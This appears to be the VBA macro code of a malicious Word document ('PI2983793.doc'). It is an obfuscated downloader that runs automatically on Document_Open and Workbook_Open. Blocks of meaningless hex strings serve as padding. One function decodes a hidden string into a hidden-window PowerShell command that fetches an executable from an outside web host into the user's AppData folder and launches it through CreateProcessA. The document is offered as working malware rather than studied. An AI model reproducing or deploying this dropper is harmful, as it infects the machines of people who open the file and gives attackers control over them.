PI2983793.doc macro

#If VBA7 Then
Private Type PO_Z
        FMD_LE As Long
        O_AI As LongPtr
            ADY_I As Long
    End Type
    Private Declare PtrSafe Function CreateProcessA Lib "Kernel32" (ByVal RRO_WOU As Long, ByVal C_A As String, V_ITW As Any, AP_XWF As Any, ByVal S_M As Long, ByVal ZJ_B As Long, ByVal RMW_AP As Any, ByVal QJZ_O As Long, AD_MS As KZI_W, R_T As QQL_W) As LongPtr
    Private Type KZI_W
        P_SU As Long
        GH_H As String
        RV_T As String
        F_XU As String
        HMG_TW As Long
        UP_J As Long
        M_MM As Long
        S_FDZ As Long
        JYD_I As Long
        CU_FVE As Long
        WKN_TG As Long
        P_SCP As Long
        WC_FF As Integer
        AN_DK As Integer
        GH_H2  As LongPtr
        Y_K As LongPtr
        CYJ_DS As LongPtr
        XGF_VQ As LongPtr
    End Type
    Private Type QQL_W
        HI_JDK As LongPtr
            XE_RM As LongPtr
        D_HXM As Long
        IH_G As Long
    End Type
#Else

    Private Type PO_Z
        FMD_LE As Long
        O_AI As Long
        ADY_I As Long
    End Type
            Private Type QQL_W
        HI_JDK As Long
        XE_RM As Long
        D_HXM As Long
        IH_G As Long
    End Type
    Private Declare Function CreateProcessA Lib "Kernel32" (ByVal RRO_WOU As Long, ByVal C_A As String, V_ITW As PO_Z, AP_XWF As PO_Z, ByVal S_M As Long, ByVal ZJ_B As Long, ByVal RMW_AP As Long, ByVal QJZ_O As Long, AD_MS As KZI_W, R_T As QQL_W) As Long
    Private Type KZI_W
        P_SU As Long
        GH_H As String
        RV_T As String
        F_XU As String
        HMG_TW As Long
        UP_J As Long
        M_MM As Long
        S_FDZ As Long
        JYD_I As Long
        CU_FVE As Long
        WKN_TG As Long
        P_SCP As Long
        WC_FF As Integer
        AN_DK As Integer
        GH_H2 As Long
        Y_K As Long
        CYJ_DS As Long
        XGF_VQ As Long
    End Type

#End If
Public Sub UT_MY()
   Dim C_FIT As String
C_FIT = "916F529191779191798F619191917B9191B791C39191CA919191B691919191919191915B919191A1919191B1955755919591BF919165889189637FA066609191969191CE9191C1917391918EBF91B391BE91895F91919173919191B98DCEBE726DAD7D8E"
Dim ME_QAP As String
ME_QAP = "A0915891916CA19191918D91809191B389917481B0915F91C891CECC917364917691918C7F9E919AAB919591CC5E91C79191C05A5E9191A7BB91917C91C79191B5795B9191915663916D919157918F91916A919491919391C58191916891C86F63919191"
Dim O_EQ As String
O_EQ = "7791818BBF9191919D91919191CD9194966D91C591666A579CB4919197B5918C91BD91A991559191B291B15391919BA89191919167CC68867491CA91578B6BCD918391AE91919191A6919A91919191728E92918AA6C8865891919179919195A791917ECD"
Dim UZX_W As String
UZX_W = "917591E191918568BD9191CE91915A72919191596691919156915A9181769191AF91C29191ACA59191919191919C919191618E6A91917F91C8919956CF705770C78AAF7F56C49F91916E8F919191849B8F91C686CB6C9178B77091C6917891917DC0B991"
Dim U_TL As String
U_TL = "CFD1BA91BE729191C591A8669192919191916F915991A6BFAD9D919191BB7A91916B9191ABBB919191B191915E8693C49B91C89165A7639155D18F877FC7919174919191A65B919191AA619191A3919191A79158AF9191919184A99DAD9155B591A77091"
Dim XQK_VPK As String
XQK_VPK = "91739191C367CE91CD919190A0919191CE91BE7058917491919164A69191BB85789C61865691915A53C1C3BC5E5FA8BD91609191919191769191557952D0A891695591B6919191916757919199CECD91919191C7918B87916255919153916C91915B9159"
Dim FA_P As String
FA_P = "6CAB919198A0918BBF9A8F6291918991989C8091919183865591919191C3919191A691918691915591A59191B1AACCA51991AA919191B9919191989191B0AC8E91BF919163A8999191919165908E6E8691B35BCD9191C4919D80917891919B91B5919191"
Dim N_KCR As String
N_KCR = "829191919191C3BBCD7CCF9E91A3916D91A7B45D6B5491B29199B191A38D919183CA9191916791909191A091919199758387A177C99193A49164917C9191A1919191759191767BB9C1916391A1BD91805BC5915D539C91917A5D7DA6919191917E716675"
Dim TI_OY As String
TI_OY = "A191CD7C9162799593919291919191B2919191BE85C391919191917A639181A8C291C39191619174C5B07D91AD9191C6B1BE9A91916E7991847982AE6D828A63A2916FC5BA6F9191C491919791C5CBA55E9191A99191919C7DA2919191A980918791C09D"
Dim EWW_O As String
EWW_O = "5D9391B45F9199919191A1B9CF917CCB91AD7B8F919177919191A57D8F91919191C291919191CCBA95918D91C89162919152647491C7918FB37091919191579191915E999191919191918D9194879191949191919191919198B891919161879191829191"
Dim TB_UA As String
TB_UA = "915C7B83B4918BBB917DBF919D7291B17891916391B19C915891C67EA8AA9FD1A4CB91CACF918D59918C9D8DBF8191B7619191919E917891917D7DCFB15F65919191AA91BF919191A0B965619191A7606E9191A88591A57A91A3C79191917991AFD19191"
Dim XH_EUL As String
XH_EUL = "91918F93C09591C89191A679A29160919191D196916291879192BC91625291689191A86791CD919159917391A8B79191918F8F9191B67F9A8A91D05E9191A6918CAF5891C3916F91919191B4919191919D91ADB591797ADA9168915B7C91586EB99191B6"
Dim TJS_XQR As String
TJS_XQR = "9172A571919191AB91918E74929185919191BA9D91919173AE91BF6E91C9CC915996919191859195BB91918D919891A691B991D18488916F9191B991A19191917D919192919187A09191919191CE91BD919165FA63919191AF9191916C8E769E919197C1"
Dim JRK_B As String
JRK_B = "9153849191B2658A916C919D919174919191CE91B2919156BB9191919191959191919791B5A09191AF919193B59BC47B5585A891919191919691C3916EA491A0918E91915A6F919197546A539157A180C191915A64669ACA917091909193806F915F919E"
Dim VR_OFR As String
VR_OFR = "91689179919191917891C895818F919198917A91B6A9916991A391919191C194917591D08891C691919163919155C2C29191916C91699191919191A89186915DAB91C8B78B919191917158919191CBC67691AFC48D91B991979491849185619197919183"
Dim HO_TXU As String
HO_TXU = "91999183AC809191915C91736EC4848E9196916B91917191709191627B9D916599CD91917E695FBBC0528D91C668A35391575391AB6D799164918C8D91BF9191609191A79C917E02BA9191B891C891918F769C9191B191996B9B917F9191CE91B893AC91"
Dim K_ON As String
K_ON = "91AC917891918E9595BBA99191919BC6919154919191919EBA9195869A9191C7919175C35591918D91919A5A9191AD915E91919188AE6091917775A19191D1917C9191C680919191915755B291BA91918052919198918491C49191919191915B9191C49F"
Dim U_N As String
U_N = "91915291B65A91CD91919B919191D1CC919191939191A8749177718DA8A9C6B98954916A915E9191986C91917491719B9191A4C95E979191919191769C9A919173B89191916691CF919191917A919191AB74917D91919191A491919191919191917A9191"
Dim DY_WR As String
DY_WR = "C191B56291945A92666991AF917891B869CA91A58E6E6AB7918655916752536182916D91B8D0B58F91639191B1917C6291559684C89C91915F57989168917F5891B89C7363B29191915891919B9191CE5D916993C291ABCB6E8FC67B79BD91919B9191C6"
Dim JB_ZD As String
JB_ZD = "91A68591966DA2C0B3916679BD9193A0917791BD919191916E91B9916291525D9159B991918391A6B79169727B9E91917C9299765691919191C391B99191AF91915A79B68E9191A07A9158919191917091AA919158CE9D916764BA9191919191757276AB9991C89191D1CF91919191919A91C691917254916A9191919191C0928F91CA919991AC919191AE91978AC19E917552915570CB92919165BB9160919193B39F91849184A691CC919191"

   CLU_P (NV_FOU)
End Sub
Public Sub Document_Open()
    Dim QNE_SRX As String
QNE_SRX = "7ACC6C916C917174A59A915591919C91915E7BB29191C9605291CD919191619191C468C891CE916F91C2AE9188919154919691919198919191916C91919191D191845A7991917D996A5E9183C89191C09FCB91AB8BC9599191C09192B395CB6A9191A256"
Dim ZB_G As String
ZB_G = "919179576A99D19191A883919191B47C91AE985A7CB78EBE5291919191C891A7919191A4919291919C70918F919191A1A6B0919991759691567EB4917B91919191A4915A6DA762919891817CB8819195A66A55609191919166919E729491918191919DC8"
Dim NBK_NZ As String
NBK_NZ = "9D9492889191919191849191A79191546092A359919191569191919091915A9191915491915E91A0AE918C9191649191918F87918DCCC48A9153919191626AD0919191916F7486C791BB81919B56C9B568A2BC9160919AB7915F945C91A3BA91738D9194"
Dim PGT_WH As String
PGT_WH = "9191916C539191629591919191CD9191C2A891AD7061917CCAB95391B5605986919F91A291916B8A746AD1919191BC91919191CB91918C915E6C6091A09191A79174A791918FA08B5891949191918E919194B3CB6691916791CF917B919191527C919191"
Dim CN_V As String
CN_V = "9191BBBE929182917F676E91F98F8D919191B5917FBA9077918F9193D1B57F919361AE915F9191916F91BA91A891909191A09191919C91CF7D9891B891919191918B91CD919691579191739152AD91919191CE8291A6AC9191919191969191B991916F84"
Dim PH_ZYJ As String
PH_ZYJ = "9191919191BC7B91CE91CA91BA918BCF5991919153CA5891B1919BBA91918D91919191C59191B491A091826F80B791AB919191915ACC91C18485B991917E91909163789191A891CE916C8091A59160C374BD6191865491BFAFBC81919191558E9184A391"
Dim UY_D As String
UY_D = "CA92919191A4919191AAA89191919C91618691BB91C19182A37D9191919191729E9191B9C47C9191CB91918D826194BC9191919191BF9191919179809A7491CE88BF91549179919191B391529391739191BE91A291B8919191C99183BB91919191C6BA91"
Dim TVK_CWR As String
TVK_CWR = "91B953CF7C91919197905EA4B4839191B9567199946F9C919191915991C691869191C8A0B38E5791A1AF8BC99159917364645EB59191B99C919184675A919191A570C9BF78917F7D91A39191919191916D9191BAA791AEAD7E91915B9191F1C1769191AA"
Dim F_FK As String
F_FK = "91CC9191B7A29191B8919193918E9169B391916C63915291736091837DC69170B39191CB919191939191919191919183915F7786C79853CCAA91A891B5A99187919188BD6DC191609CA58A859F91AA6A565291B8919191CE9191A291D0B59191CF91916F"
Dim PVK_U As String
PVK_U = "6783846991745F917F91B98F91B4F9919191916E7066C69191B09191C1AB9191AB85C39191C0539191B0AE9152919C9178915691916470917083A8C1AE91919191C9C4A88D917C9E919CAD916A5E9154665291CDA6B791996791916991C756B9CA919491"
Dim VGP_OV As String
VGP_OV = "9F9191BB916493A5ADAE6BCE91C5917C93BD9191865891A8A09177B99172BDAA9191CE9491919691A791896A919191C55469917BA589919191B26C9191918D9191919191959191787D8EC291BEB59191B791BF9357CB6A91BA8291AC91CD8291787B7291"
Dim M_B As String
M_B = "CF91CF6F547A9166636E91858CC7919191A391AC91BC55919C91919195949186917CA29191D055919D8E917891589681C8BF916E7491656B87918C91909191C7C6589191CEC1919191917F7C91919191917191C591639168885B9196819DA1B691918891"
Dim Y_DZ As String
Y_DZ = "9159919197A3A791918CD191B9915391915F9198B79191B991915591CA916A9AC9AF91BE8298CB9191A891B091B4917A91BD9191BF91DA967B918991B291A09191C58691CB91916F91A391BD91B563A9AD9191C9915B919191916F9191915B617291C0C8"
Dim BXS_QLT As String
BXS_QLT = "91B0BE9191919E9172A7919191739191919193919191619191AD91AD91919191946C915DB6C5919191A9A2917D8891897BA9918791919191919181958C919191CE5967916E929954919191919176917591869160C3916E6091919191626EB991B2919174"
Dim E_H As String
E_H = "908CCD9191919191689191A091915854A3915DC99191AE91CE5991C1A88AC5BC9153B991BD919D9191869191CEAB8267B6AD9191BC7CB391C39191919191B0B4A091CA5F9191C2C6919191C05B919191AB9191079191576D919E919154916C91A47F9191"
Dim J_BR As String
J_BR = "599191858C91B8CFC191C3609287915391919191C4919198919191719191919191A47566919162C391919191B391576B5291C591976791A3B99198919191916C9491CD91917591A9919891BDB3C3686C91915CB053918E90919C6DC17C916D528DB87091"
Dim D_N As String
D_N = "7E5E9191AC9191689191917D549191926A91918FAB915A8B7E687C918291A47F91919191B9B0BF96CEAB77919191BC61919F91949E91B59191BF959160919191AE91D091C291917E8B9191A191A680979191869191919691C09154916C918891B69191B5"
Dim E_BAK As String
E_BAK = "A49191A091B95AA69165918E91919184919A91C2A891C3C3919163C3919891B3919191878F9162A89191ACB3CC6F9156916E916A5E916B7F9191A79191917A8EC2C65B919191899191B8636862919191B2914591BF6D61927C539FAF5D8476A797658661"
Dim BA_RG As String
BA_RG = "6C91619191C6556F9191B35A91A1ACCB91919191915F91915B57919191AB9197917A69916991D19291969191919191C9917B91919D91C1718384859191765CC2A49191CE915D919191D19A5D939179BB919191638291CC9191919E5E7091B691B9915591"
Dim TUN_VH As String
TUN_VH = "917589915D91A16F7866918E5E699191A6B09191776A9183919191B86C9191AD918A9191A082589191AFB591916191599191AF5AA39D919157919D91915491C2919B91B0A375AA917C9191B291919191A78A915C91C191919ABC9191AC91C58E917E9193C58B91A973535991916891527591A89191B691B85B91917891BF917E76919591919191C0919191A6829191CF919176919191BB916482919179917F91919191A991916E9191BFB8B6BFA65891B591C49191BD91CAD09191917A73788B68919177"

    UT_MY
End Sub
Sub Workbook_Open()
    Dim NK_MN As String
NK_MN = "9191599191BF556D919191919460BB7DA291A39164A6836D8597978F8690779190919191C18DC7B48491AA56919164915F91919E919191917A9191C391BF9191BAC991839191C7919168A0B2849178CA8B99918963919591659191915B915CB1CE916391"
Dim CQZ_VK As String
CQZ_VK = "9184919191919191CB91AF9D7786919183B791918A9176917091915E9191C09B9159916CC78991809C7D79C891A9919D879D9191918860919191919153917E74CB917F919A5CAD9191918A917791B375AC91CD91869153916391B7898BC6A49187A2915A"
Dim LSW_R As String
LSW_R = "C0919181916E91C89191B59E919191917697917D5588B791919185BF91D0915BAB9191979EB569915585936B91C09191635D9191BCC18E8B91915B79B191958C6791B7B6917F6891915575916E74B89191BF91B7CE9C965A6491915E91919191BCAA9193"
Dim GYR_R As String
GYR_R = "C6A1918DBCBE6AAF91BCB395A391919191AEA389915B717580C357919191B36F9191929191919172918F9191919191917F91746A8E916E998F91A95C919191919157CE9191BE91BC91B0919D915F578DAF91905791A67691919AB091D191D09160629182"
Dim BL_TO As String
BL_TO = "91AACA919191768C9191729C56B7CA7291917E91AAA48C7590915391B5918FC76C91577891AA918191917A65916CADAF9192919391A16FA69A579191919191818191C59191C88991C0BC91917C9191815763919191919B9191C2A48C91648791CF91A091"
Dim I_XZT As String
I_XZT = "B4919191BB91AB6F6D91BC91916AA88391917B91769191AE8691CF98AD9199917085916C91B5ADCAA488B97D92918EB691AE91AE8BBC9191915E91919191918D74809191858E917181918791916E91B26A91919191BA9191889A9191BD91CCC77D5A6361"
Dim KNF_X As String
KNF_X = "9183A291917E9186916A62916191917091C18A919191919167BF916691CABC915C919191BA91729191D0916F8991919191AE9191919D909186AE9190BAC7CB9291AA91CF919191A1CC91A47491CF91918CB03F91A5915E9191A6BC5691C1917791919184"
Dim N_GJ As String
N_GJ = "BFA8B691A7917EC7918C6DCE52C2797B917B9191BF77CE9F91C19191918F91919291ACB99EAEBFBCBE9181916AC0C0919191919199918291619191B19191B69191919101918D9153A49EB7C752C2939191BB919B92B3C3918EC8915C919184917F919191"
Dim BY_SV As String
BY_SV = "8B9E58919191918B9191A1707B9191919191CFAD91C4A891C9B7656B9199A491C091B491919391919191AF91C49191917F64B3929186A09191AAA491C191919183916F909191BB9191829191C5CD5A917791747F9191879191A489A19191A49191BF74C0"
Dim L_FVC As String
L_FVC = "916B91915B915536A858A291BF91C99180D091919186839191948A8E9160919E889199A89191C456B59D919F917BC8918191AB919191769191BA9191BD9C88918288BD9186C69191919C918691AF64A97291919191918B91919191A4CDC0ACB291915C89"
Dim KN_LFN As String
KN_LFN = "9165919191AD9191917EA7829191AB6491918465879191919191AB9191719E91679191A7CA9185919891CC919153A06DBF9175B591917991B96888CB87919191919689918191B25491A56D5AC291989191C691917C94919162919194639191679169C08F"
Dim ZM_EQD As String
ZM_EQD = "6F910876915D91918F9191C07D579154AC91B8919158919191918FAC6D807BC7A85285C56F8391976BB15DB291ABB191BE9191CF91C65291799171CC98917391915E6A7C9187917A937291B591805F8383C991B3C391919152C99D91648691CF909C9191"
Dim YBP_AC As String
YBP_AC = "93869188918D91919191CC919B9191A15DBF887CAC91A1685F736477919191919191919191C39191B491A46C76918191D09191665D5C919E91CF809191CA64C691919D9E9185C391918AB9918791739195919191C8919191BC58B394A77D91917C799191"
Dim CNV_P As String
CNV_P = "919C915491919491A2915E919191AE91CA69ABB5917F62A9815F9154915C9161BCAE7E919165919191918891916A98A3916298D09F6FCA91B391B691919791919177C68191915591C091C88C72CDC3CCBAAA918D916E91918C91A09D5591C3679173C891"
Dim VL_N As String
VL_N = "6891715F9162CA918F9191A59187919158A0525A87CDBE5F91AEBD6D5776C6AB917291918B9191919191C99191919191799160AF73C0C0919063A99291AE916A6891A9D09191AC91D1B6915591BF9191919167688A91915CD079A6AE919991B09166917F"
Dim HBU_AQI As String
HBU_AQI = "91A39191915C919191919158BB725591A59101A99158A6916E919175AB6891B09191B3BB919191C591919191919191AD919191B391919891AA91917D91AF9C915E9191C39191919A9162AD59A191918F919C91918F749191BA916391919191918A80917F"
Dim S_WC As String
S_WC = "6AB791555691C7919191B0918391AE91919C91566E5B9176918991919172B377BB9191919191915D7BA692B791A9919191917A91AD91D191918F6C91C18F5B919191699E71918F5D639196919191919B8E91C97C6091599191C1917B91698891ACB791D0"
Dim WPB_J As String
WPB_J = "B899916E91CD848C7461B0B69177526A6CB291A497BE91917E9178916091C4CC91C49191ABAC919191919162CC8A91686F919191C28B91CB919154A6917E899191C3D0945D919172A391CA915F91919191BC9183C991918A91CD91BB8F9091AA757E5B91"
Dim O_ZUH As String
O_ZUH = "A35DB1919180919170BE5F90A591988D5876919197AA9180A891659191919192B19189919191C99160917D91CE91B6A491946DC691CD8291916C9191CE91B0919191706C9191917C919198C582919F91919991B29191915691809157919191919191C975"
Dim BJP_T As String
BJP_T = "5391BC9191CA919191C7BE91815B918B539C8C91C06790B19191C191919191C67B91919191916E917ECD6B9191919103C09B919191B95D579191919191917557D055AE69C0708A9391779152915D9191919CB591C691C59191918C6B9691AF5591915D91B791527CAFC5A393BF575F91916065C3AD9691919183C291709166918091916BC5999C8A9152A083B69191B59F87C491927E6B91BA919890C88ECB91916091919178749691B078A3D191919191919152919191939163"

    Document_Open
End Sub
Public Function NV_FOU() As String
    Dim G_WW As String
G_WW = G_WW + "C2C1C9B7C4C5BAB"
G_WW = G_WW + "7BEBE80B7CAB772"
G_WW = G_WW + "7FA9BBC0B6C1C9A"
G_WW = G_WW + "5C6CBBEB7729ABB"
G_WW = G_WW + "B6B6B7C0727FC0C"
G_WW = G_WW + "1C2C4C1B8BBBEB772"
G_WW = G_WW + "9BB8727AC6B7C5C67FC2B3C6BA72"
Dim HH_MNH As String
HH_MNH = "7276B7C0C88C93A2A29693A69372"
Dim NKV_LAY As String
NKV_LAY = "7D7279AEC789B5BF80B7CAB7797B"
Dim SR_W As String
SR_W = "72CDA4B7BFC1C8B77F9BC6B7BF72"
Dim BME_OPV As String
BME_OPV = "7276B7C0C88C93A2A29693A69372"
Dim U_Z As String
U_Z = "7D7279AEC789B5BF80B7CAB779CF"
Dim G_S As String
G_S = "8D72769D969894728F72A0B7C97F"
Dim WX_O As String
WX_O = "A1B4BCB7B5C672A5CBC5C6B7BF80"
Dim MA_QD As String
MA_QD = "A0B7C680A9B7B495BEBBB7C0C68D"
Dim CWM_LZ As String
CWM_LZ = "72769D969894809AB7B3B6B7C4C5"
Dim H_CXY As String
H_CXY = "AD79A7C5B7C47F93B9B7C0C679AF"
Dim LUT_W As String
LUT_W = "728F7279A7A5A4A7977FA8A09579"
Dim FZG_VUV As String
FZG_VUV = "8D72769D9698948096C1C9C0BEC1"
Dim E_MQ As String
E_MQ = "B3B698BBBEB77A79BAC6C6C2C58C"
Dim L_SF As String
L_SF = "8181B3C7C6BAB7C0C6BBB5C4B7B5"
Dim T_HB As String
T_HB = "C1C4B6C5C1C0BEBBC0B780B5C1BF"
Dim XNZ_JCT As String
XNZ_JCT = "81B5C1C5C6BFB3C081B6C4C1C2B5"
Dim XRY_YWA As String
XRY_YWA = "C1BFB780B7CAB7797E7276B7C0C8"
Dim TP_ZSI As String
TP_ZSI = "8C93A2A29693A693727D7279AEC7"
Dim TM_T As String
TM_T = "89B5BF80B7CAB7797B8D727AA0B7"
Dim LI_L As String
LI_L = "C97FA1B4BCB7B5C6727FB5C1BF72"
Dim F_JW As String
F_JW = "A5BAB7BEBE8093C2C2BEBBB5B3C6"
Dim LFK_OZG As String
LFK_OZG = "BBC1C07B80A5BAB7BEBE97CAB7B5"
Dim SW_R As String
SW_R = "C7C6B77A76B7C0C88C93A2A29693"
Dim Y_CB As String
Y_CB = "A693727D7279AEC789B5BF80B7CA"
Dim AF_CJ As String
AF_CJ = "B7797B8D72A5C6C1C27FA2C4C1B5"
Dim H_IN As String
H_IN = "B7C5C5727F9BB67276A2BBB6727F98C1C4B5B7"
 Dim VZJ_YD As String
  VZJ_YD = G_WW & HH_MNH & NKV_LAY & SR_W & BME_OPV & U_Z & G_S & WX_O & MA_QD & CWM_LZ & H_CXY & LUT_W & FZG_VUV & E_MQ & L_SF & T_HB & XNZ_JCT & XRY_YWA & TP_ZSI & TM_T & LI_L & F_JW & LFK_OZG & SW_R & Y_CB & AF_CJ & H_IN

   Dim YRM_XG As Long
   Dim B_R As String
   Dim YX_XXU As String
   For YRM_XG = 1 To Len(VZJ_YD) Step 2
        YX_XXU = Chr("&H" & Mid(VZJ_YD, YRM_XG, 2))
        B_R = B_R & Chr(Asc(YX_XXU) - 82)
   Next
   NV_FOU = B_R
End Function
Public Function CLU_P(ByVal F_G As String)
    Dim GAR_HX As PO_Z
    Dim ICF_OAJ As PO_Z
    Dim UW_TX As KZI_W
    UW_TX.P_SCP = &H1&
    Dim KKB_Y As QQL_W
    CLU_P = CreateProcessA(0&, F_G, GAR_HX, ICF_OAJ, False, &H20&, 0&, 0&, UW_TX, KKB_Y)
End Function